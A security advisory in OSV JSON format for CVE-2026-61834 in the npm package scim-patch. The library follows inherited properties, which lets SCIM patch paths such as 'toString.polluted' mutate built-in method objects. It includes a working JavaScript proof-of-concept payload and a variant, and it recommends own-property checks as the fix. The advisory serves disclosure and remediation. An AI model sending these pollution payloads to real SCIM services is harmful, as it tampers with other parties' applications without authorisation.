CVE-2026-61834: scim-patch Mutation Of Inherited Built-in Method Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-2mhw-wcx5-v3xj",
  "modified" : "2026-09-28T14:01:15Z",
  "published" : "2026-09-28T14:01:15Z",
  "aliases" : [ "CVE-2026-61834" ],
  "summary" : "scim-patch: Mutation of Inherited Built-in Method Objects",
  "details" : "## Summary\n\nIncomplete Prototype Pollution Fix Allows Mutation of Inherited Built-in Method Objects\n\n`scim-patch` blocks direct dangerous path segments such as `__proto__`, `constructor`, and `prototype`, but still traverses inherited properties when applying SCIM patch paths.\n\nAn attacker who controls a SCIM PATCH operation can use paths such as `toString.polluted` to mutate shared built-in function objects, for example `Object.prototype.toString`.\n\n## Impact\n\nA malicious patch can add attacker-controlled properties to inherited built-in method objects. The impact is narrower than direct `Object.prototype` pollution, but the mutation is process-global and may affect application logic that reads properties from inherited methods.\n\n## Details\n\nAffected code paths:\n\n- `navigate()` reads inherited properties via `schema[subPath]`\n- `assign()` uses `key in obj`, which treats inherited properties as existing\n\nBecause inherited keys are followed, safe-looking path segments such as `toString` can resolve to shared built-in objects.\n\n## PoC\n\n```js\nconst assert = require(\"node:assert/strict\");\nconst { scimPatch } = require(\"./lib/src/scimPatch\");\n\nconst victim = {\n  schemas: [\"urn:ietf:params:scim:schemas:core:2.0:User\"],\n  userName: \"alice\",\n  active: true,\n  emails: [{ value: \"alice@example.com\", primary: true }],\n  meta: { created: \"x\", lastModified: \"x\", resourceType: \"User\" }\n};\n\ntry {\n  assert.equal(({}).toString.scimPatchPolluted, undefined);\n\n  scimPatch(victim, [\n    { op: \"add\", path: \"toString.scimPatchPolluted\", value: \"polluted\" }\n  ]);\n\n  assert.equal(({}).toString.scimPatchPolluted, \"polluted\");\n  console.log(({}).toString.scimPatchPolluted);\n} finally {\n  delete Object.prototype.toString.scimPatchPolluted;\n}\n```\n\nOutput:\n\n```text\npolluted\n```\n\nA no-path operation with a dotted value key is also affected:\n\n```js\nscimPatch(victim, [\n  { op: \"add\", value: { \"toString.noPathPolluted\": \"polluted\" } }\n]);\n```\n\n## Remediation\n\nDo not traverse inherited properties while resolving patch paths. Use own-property checks such as `Object.hasOwn(obj, key)` and create missing containers only for safe own keys.\n\nKeep the existing denylist for `__proto__`, `constructor`, and `prototype` as defense in depth.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "scim-patch"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.9.2"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/thomaspoignant/scim-patch/security/advisories/GHSA-2mhw-wcx5-v3xj"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-61834"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/thomaspoignant/scim-patch/pull/1127"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/thomaspoignant/scim-patch/commit/c86474f7a9b16191d939f59ba94eca6c6e63044b"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/thomaspoignant/scim-patch"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/thomaspoignant/scim-patch/releases/tag/v0.9.2"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-1321", "CWE-915" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-09-28T14:01:15Z",
    "nvd_published_at" : "2026-09-23T15:17:15Z"
  }
}